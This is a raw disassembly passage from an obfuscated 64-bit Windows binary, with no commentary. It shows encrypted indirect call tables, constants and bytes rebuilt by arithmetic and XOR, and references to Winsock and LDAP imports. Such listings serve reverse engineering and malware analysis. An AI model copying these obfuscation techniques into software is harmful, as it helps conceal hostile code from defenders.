movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov rax, qword [0x1402f08f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292738]
mov rcx, qword [0x140292740]
shrd rcx, rax, 0xc
movabs rax, 0x9589ec38d113f1c5
xor rax, rcx
mov qword [r14 + 0x10], rax
mov rax, qword [0x1402f0900]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r14 + 0x18], rax
mov rax, qword [0x1402f0908]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292748]
movzx ecx, byte [0x140292749]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x11
mov byte [r14], al
mov r14, qword [rdi + 0x10]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0910]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov r15, rdi
cmp rsi, qword [rcx + rax*8]
jbe 0x140038529
mov r15, qword [rdi]
mov qword [rbp + 0x68], rdi
mov rdi, qword [rbp + 0xc8]
mov rsi, qword [rdi + 0x10]
mov r13, qword [rdi + 0x18]
mov rax, r13
sub rax, rsi
cmp rax, r14
jae 0x140038569
nop
sub rsp, 0x30
mov qword [rsp + 0x20], r14
mov rcx, rdi
mov rdx, r14
mov r9, r15
call fcn.140056eb0
add rsp, 0x30
nop
jmp 0x140038600
lea r12, [rsi + r14]
mov qword [rdi + 0x10], r12
mov rax, qword [0x1402f0918]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
cmp r13, qword [rdx + rcx*8]
jbe 0x1400385a9
mov rax, qword [rbp + 0xc8]
mov rdi, qword [rax]
mov rcx, rsi
add rcx, rdi
sub rsp, 0x20
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402f0920]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x14029274a]
movzx ecx, byte [reloc.WS2_32.dll_send]
imul eax, eax, 0x2b
shl ecx, 4
lea ecx, [rcx + rcx*2]
add cl, al
add cl, 0x4a
mov byte [rdi + r12], cl
mov rdi, qword [rbp + 0x68]
mov r14, qword [rdi + 0x18]
mov rax, qword [0x1402f0928]
movabs r12, 0xca54c307a36effe7
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp r14, qword [rcx + rax*8]
jbe 0x140038723
mov rbx, r12
mov r12, qword [rdi]
mov rax, qword [0x1402f0930]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rsi, qword [rcx + rax*8]
add rsi, r14
mov rax, qword [0x1402f0938]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fa40]
cmp rsi, qword [rcx + rax*8]
jbe 0x1400386ff
mov r15, qword [r12 - 8]
mov rax, qword [0x1402f0940]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fa60]
add r12, qword [rcx + rax*8]
sub r12, r15
mov rax, qword [0x1402f0948]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r12, qword [rcx + rax*8]
jae 0x140039ca9
mov rax, qword [0x1402f0950]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023faa0]
add r14, qword [rcx + rax*8]
mov rdx, r14
mov rcx, r15
jmp 0x140038705
mov rdx, rsi
mov rcx, r12
mov r12, rbx
mov rax, qword [0x1402f01e0]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
mov rbx, qword [rbp + 0x90]
mov rax, qword [0x1402f0958]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x63f0ae70ceab16
imul rax, qword [0x140292750]
movabs rcx, 0x5b3b6e5d458aaf94
imul rcx, qword [0x140292758]
add rcx, rax
movabs rax, 0x3e58823052419dc6
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0960]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0968]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292760]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_200]
imul eax, eax, 0x2c
imul ecx, ecx, 0x4c
add cl, al
add cl, 0xf0
mov byte [rdi], cl
mov rsi, qword [rbp + 0xa0]
mov r14, qword [rsi + 0x18]
mov rax, qword [0x1402f0970]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp r14, qword [rcx + rax*8]
jbe 0x1400388e5
mov rbx, r12
mov rdi, rsi
mov r12, qword [rsi]
mov rax, qword [0x1402f0978]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rsi, qword [rcx + rax*8]
add rsi, r14
mov rax, qword [0x1402f0980]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fb20]
cmp rsi, qword [rcx + rax*8]
jbe 0x1400388be
mov r15, qword [r12 - 8]
mov rax, qword [0x1402f0988]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fb40]
add r12, qword [rcx + rax*8]
sub r12, r15
mov rax, qword [0x1402f0990]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r12, qword [rcx + rax*8]
jae 0x140039cb6
mov rax, qword [0x1402f0998]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fb80]
add r14, qword [rcx + rax*8]
mov rdx, r14
mov rcx, r15
jmp 0x1400388c4
mov rdx, rsi
mov rcx, r12
mov r12, rbx
mov rax, qword [0x1402f01e0]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
mov rbx, qword [rbp + 0x90]
mov rsi, rdi
mov rax, qword [0x1402f09a0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x933957d56a80dde5
imul rax, qword [0x140292768]
movabs rcx, 0x43c568e9f976428e
imul rcx, qword [0x140292770]
add rcx, rax
movabs rax, 0x805200ae5c84281d
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f09a8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f09b0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292778]
movzx ecx, byte [0x140292779]
imul eax, eax, 0xffffff85
imul ecx, ecx, 0x27
add cl, al
add cl, 0x9e
mov byte [rsi], cl
mov rdi, qword [rbp + 0xc8]
mov r14d, dword [rdi + 0x10]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f09b8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov r9, rdi
cmp rsi, qword [rcx + rax*8]
jbe 0x1400389bd
mov r9, qword [rdi]
imul eax, dword [0x14029277c], 0x715c09d3
imul ecx, dword [0x140292780], 0xe751fc21
lea r8d, [rax + rcx]
add r8d, 0x85e83de4
mov rax, qword [0x1402f09c0]
add rax, r12
sub rsp, 0x30
mov dword [rsp + 0x20], r14d
mov rsi, qword [rbp + 0x60]
mov rcx, rsi
xor edx, edx
call rax
add rsp, 0x30
mov r14d, eax
mov rax, qword [0x1402f09c8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
imul eax, dword [0x140292784], 0xa5b726df
imul ecx, dword [0x140292788], 0x4b18e23d
add eax, ecx
add eax, 0x76db9ac
cmp r14d, eax
setne r15b
mov rax, qword [0x1402f06d0]
add rax, r12
sub rsp, 0x20
mov rcx, rsi
call rax
add rsp, 0x20
mov rax, qword [0x1402f06d0]
add rax, r12
sub rsp, 0x20
mov rcx, rbx
call rax
add rsp, 0x20
mov rax, qword [0x1402f06d0]
add rax, r12
sub rsp, 0x20
mov rcx, qword [rbp + 0x58]
call rax
add rsp, 0x20
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f09d0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
mov r14, qword [rbp + 0x88]
jbe 0x140038b92
mov rbx, qword [rdi]
mov rax, qword [0x1402f09d8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f09e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fc20]
cmp rdi, qword [rcx + rax*8]
jbe 0x140038b71
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f09e8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fc40]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f09f0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f09f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fc80]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140038b77
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0xc8]
mov rax, qword [0x1402f0a00]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x42e443bdd43175b4
imul rax, qword [0x140292790]
movabs rcx, 0xbbf8dd891607696b
imul rcx, qword [0x140292798]
add rcx, rax
movabs rax, 0xc9bc7a70d1fddf37
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0a08]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0a10]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402927a0]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_33]
imul eax, eax, 0xfffffff5
mov edx, ecx
lea ecx, [rcx + rcx*8]
lea ecx, [rcx + rcx*2]
add edx, edx
add edx, ecx
mov ecx, edx
add cl, al
add cl, 0x65
mov byte [rdi], cl
mov rdi, qword [rbp + 0x98]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0a18]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140038d52
mov rbx, qword [rdi]
mov rax, qword [0x1402f0a20]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0a28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fd00]
cmp rdi, qword [rcx + rax*8]
jbe 0x140038d31
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0a30]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fd20]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0a38]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0a40]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fd60]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140038d37
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0x98]
mov rax, qword [0x1402f0a48]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x3e6dffafad04a09a
imul rax, qword [0x1402927a8]
movabs rcx, 0x853c64b106f1a494
imul rcx, qword [0x1402927b0]
add rcx, rax
movabs rax, 0x4de101964e5b1cf6
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0a50]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0a58]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movzx ecx, byte [0x1402927b9]
shr cl, 4
shl al, 4
or al, cl
xor al, 0xcb
mov byte [rdi], al
mov rdi, qword [rbp + 0x78]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0a60]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140038f00
mov rbx, qword [rdi]
mov rax, qword [0x1402f0a68]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0a70]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fde0]
cmp rdi, qword [rcx + rax*8]
jbe 0x140038ee2
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0a78]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fe00]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0a80]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0a88]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fe40]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140038ee8
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0x78]
mov r13d, r15d
mov rax, qword [0x1402f0a90]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x16a478f2fea67d7c
imul rax, qword [0x1402927c0]
movabs rcx, 0x751b2f2d0c2d4084
imul rcx, qword [0x1402927c8]
add rcx, rax
movabs rax, 0x26507f34cba8f740
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0a98]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0aa0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WS2_32.dll_getpeername]
movzx ecx, byte [0x1402927d1]
imul eax, eax, 0xffffff9e
mov edx, ecx
add ecx, ecx
shl edx, 5
sub edx, ecx
mov ecx, edx
add cl, al
add cl, 0xa
mov byte [rdi], cl
mov rbx, qword [r14]
test rbx, rbx
je 0x140039082
mov rsi, qword [r14 + 0x10]
sub rsi, rbx
mov rax, qword [0x1402f0aa8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fe80]
cmp rsi, qword [rcx + rax*8]
jbe 0x140039059
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0ab0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fea0]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0ab8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0ac0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fee0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x14003905f
mov rdx, rsi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], 0
mov r15, qword [rbp + 0x38]
lea rsi, [r15 + 0xb0]
mov r14, qword [rbp + 0x80]
mov rax, qword [r14]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [r14 + rax], rcx
mov rax, qword [r14]
movsxd rdi, dword [rax + 4]
mov ebx, edi
mov rax, qword [0x1402f0ac8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023fef8]
mov eax, dword [rcx + rax*4]
add eax, edi
mov dword [r14 + rdi - 4], eax
mov rcx, r15
add rcx, 0x10
mov rax, qword [0x1402f0ad0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [r14]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [r14 + rax], rcx
mov rax, qword [r14]
movsxd rdi, dword [rax + 4]
mov ebx, edi
mov rax, qword [0x1402f0ad8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ff04]
mov eax, dword [rcx + rax*4]
add eax, edi
mov dword [r14 + rdi - 4], eax
mov rax, qword [0x1402f0ae0]
add rax, r12
sub rsp, 0x20
mov rcx, rsi
call rax
add rsp, 0x20
mov eax, r13d
mov r15, qword [rbp + 0xa8]
mov r14, qword [rbp + 0xc0]
mov rdi, qword [rbp + 0xb8]
mov r13, qword [rbp + 0x70]
mov ebx, eax
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0af8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x14003927d
mov r14, qword [rdi]
mov rax, qword [0x1402f0b00]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0b08]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ff50]
cmp rdi, qword [rcx + rax*8]
jbe 0x140039255
mov rdi, qword [r14 - 8]
mov rax, qword [0x1402f0b10]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ff70]
add r14, qword [rcx + rax*8]
sub r14, rdi
mov rax, qword [0x1402f0b18]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r14, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0b20]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ffb0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x14003925b
mov rdx, rdi
mov rcx, r14
mov r14, qword [rbp + 0xc0]
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0xb8]
mov rax, qword [0x1402f0b28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0xd4e015fe511a3f8
imul rax, qword [0x1402927d8]
movabs rcx, 0xa5ce5033e5cd1d82
imul rcx, qword [0x1402927e0]
add rcx, rax
movabs rax, 0xf526d653fa0c9af6
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0b30]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0b38]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402927e8]
movzx ecx, byte [0x1402927e9]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x89
mov byte [rdi], al
mov rsi, qword [r14 + 0x18]
mov rax, qword [0x1402f0b40]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x14003942a
mov r14, qword [r14]
mov rax, qword [0x1402f0b48]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0b50]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240030]
cmp rdi, qword [rcx + rax*8]
jbe 0x140039409
mov rdi, qword [r14 - 8]
mov rax, qword [0x1402f0b58]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240050]
add r14, qword [rcx + rax*8]
sub r14, rdi
mov rax, qword [0x1402f0b60]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r14, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0b68]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240090]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x14003940f
mov rdx, rdi
mov rcx, r14
mov r14, qword [rbp + 0xc0]
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402f0b70]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x48bd92bcf64d65df
imul rax, qword [0x1402927f0]
movabs rcx, 0x8366209f63e7bd8c
imul rcx, qword [0x1402927f8]
add rcx, rax
movabs rax, 0x9077a29f3d8a5bc2
add rax, rcx
mov qword [r14 + 0x10], rax
mov rax, qword [0x1402f0b78]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r14 + 0x18], rax
mov rax, qword [0x1402f0b80]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292800]
movzx ecx, byte [0x140292801]
shr cl, 3
shl al, 5
or al, cl
xor al, 0xc8
mov byte [r14], al
mov rdi, qword [rbp + 0xb0]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0b88]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x1400395df
mov r14, qword [rdi]
mov rax, qword [0x1402f0b90]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0b98]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240110]
cmp rdi, qword [rcx + rax*8]
jbe 0x1400395be
mov rdi, qword [r14 - 8]
mov rax, qword [0x1402f0ba0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240130]
add r14, qword [rcx + rax*8]
sub r14, rdi
mov rax, qword [0x1402f0ba8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r14, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0bb0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240170]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x1400395c4
mov rdx, rdi
mov rcx, r14
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0xb0]
mov rax, qword [0x1402f0bb8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x8ba2a10451c0b3d6
imul rax, qword [0x140292808]
movabs rcx, 0x67edf2718079cadc
imul rcx, qword [0x140292810]
add rcx, rax
movabs rax, 0xdb7cf411b6ecf270
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0bc0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0bc8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292818]
movzx ecx, byte [0x140292819]
imul eax, eax, 0xffffffc3
imul ecx, ecx, 0xffffff8a
add cl, al
add cl, 0xfd
mov byte [rdi], cl
mov rsi, qword [r15 + 0x18]
mov rax, qword [0x1402f0bd0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140039786
mov r14, qword [r15]
mov rax, qword [0x1402f0bd8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0be0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x1402401f0]
cmp rdi, qword [rcx + rax*8]
jbe 0x14003976c
mov rdi, qword [r14 - 8]
mov rax, qword [0x1402f0be8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240210]
add r14, qword [rcx + rax*8]
sub r14, rdi
mov rax, qword [0x1402f0bf0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r14, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0bf8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240250]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140039772
mov rdx, rdi
mov rcx, r14
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402f0c00]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292820]
mov rcx, qword [0x140292828]
shrd rcx, rax, 0x2d
movabs rax, 0xdfdb4ec6404bf144
xor rax, rcx
mov qword [r15 + 0x10], rax
mov rax, qword [0x1402f0c08]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r15 + 0x18], rax
mov rax, qword [0x1402f0c10]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292830]
movzx ecx, byte [0x140292831]
imul eax, eax, 0x55
imul ecx, ecx, 0xffffffba
add cl, al
add cl, 0x64
mov byte [r15], cl
mov rdi, qword [rbp + 0x50]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0c18]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140039922
mov r14, qword [rdi]
mov rax, qword [0x1402f0c20]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0c28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x1402402d0]
cmp rdi, qword [rcx + rax*8]
jbe 0x140039904
mov rdi, qword [r14 - 8]
mov rax, qword [0x1402f0c30]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
